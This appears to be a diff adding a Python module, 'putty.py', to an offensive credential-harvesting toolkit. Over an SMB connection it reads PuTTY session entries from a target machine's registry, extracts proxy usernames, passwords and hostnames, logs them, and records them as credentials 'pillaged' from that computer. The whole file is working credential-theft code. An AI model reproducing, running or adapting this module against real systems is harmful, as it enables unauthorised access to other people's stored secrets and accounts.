■ ■ ■ ■ ■ ■
software/sysadmin/putty.py
| 1 | + | # Code based on vncpasswd.py by trinitronx |
| 2 | + | # https://github.com/trinitronx/vncpasswd.py |
| 3 | + | import binascii |
| 4 | + | import codecs |
| 5 | + | import traceback |
| 6 | + | |
| 7 | + | from . import d3des as d |
| 8 | + | |
| 9 | + | from lib.toolbox import bcolors |
| 10 | + | |
| 11 | + | |
| 12 | + | # from lazagne.config.winstructure import * |
| 13 | + | |
| 14 | + | |
| 15 | + | class Putty(): |
| 16 | + | def __init__(self,smb, myregops, myfileops, logger, options, db): |
| 17 | + | self.myregops = myregops |
| 18 | + | self.myfileops = myfileops |
| 19 | + | self.logging = logger |
| 20 | + | self.options = options |
| 21 | + | self.db = db |
| 22 | + | self.smb = smb |
| 23 | + | |
| 24 | + | def putty_from_registry(self): |
| 25 | + | pfound = [] |
| 26 | + | puttys = ( |
| 27 | + | ('Putty', 'HKCU\\Software\\SimonTatham\\PuTTY\\Sessions'), |
| 28 | + | #('WinSCP', 'Software\\Martin Prikryl\\WinSCP 2\\Configuration', 'Security'), |
| 29 | + | ) |
| 30 | + | |
| 31 | + | for putty in puttys: |
| 32 | + | try: |
| 33 | + | reg_sessions = self.myregops.get_reg_subkey(putty[1]) |
| 34 | + | for reg_session in reg_sessions: |
| 35 | + | self.logging.debug(f'Found Putty session : {reg_session}') |
| 36 | + | ProxyPassword=self.myregops.get_reg_value(reg_session, 'ProxyPassword')[1] |
| 37 | + | HostName=self.myregops.get_reg_value(reg_session, 'HostName')[1] |
| 38 | + | ProxyUsername=self.myregops.get_reg_value(reg_session, 'ProxyUsername')[1] |
| 39 | + | self.logging.debug( |
| 40 | + | f"[{self.options.target_ip}] Found Putty Proxy : {ProxyUsername}:{ProxyPassword}@{HostName} ") |
| 41 | + | ############PROCESSING DATA |
| 42 | + | self.db.add_credz(credz_type='Putty', |
| 43 | + | credz_username=ProxyUsername, |
| 44 | + | credz_password=ProxyPassword, |
| 45 | + | credz_target=HostName, |
| 46 | + | credz_path='', |
| 47 | + | pillaged_from_computer_ip=self.options.target_ip, |
| 48 | + | pillaged_from_username=self.options.user) |
| 49 | + | except Exception: |
| 50 | + | self.logging.debug(f'Problems with putty : {putty}') |
| 51 | + | continue |
| 52 | + | return pfound |
| 53 | + | |
| 54 | + | |
| 55 | + | def run(self): |
| 56 | + | return self.putty_from_registry() |
| 57 | + | |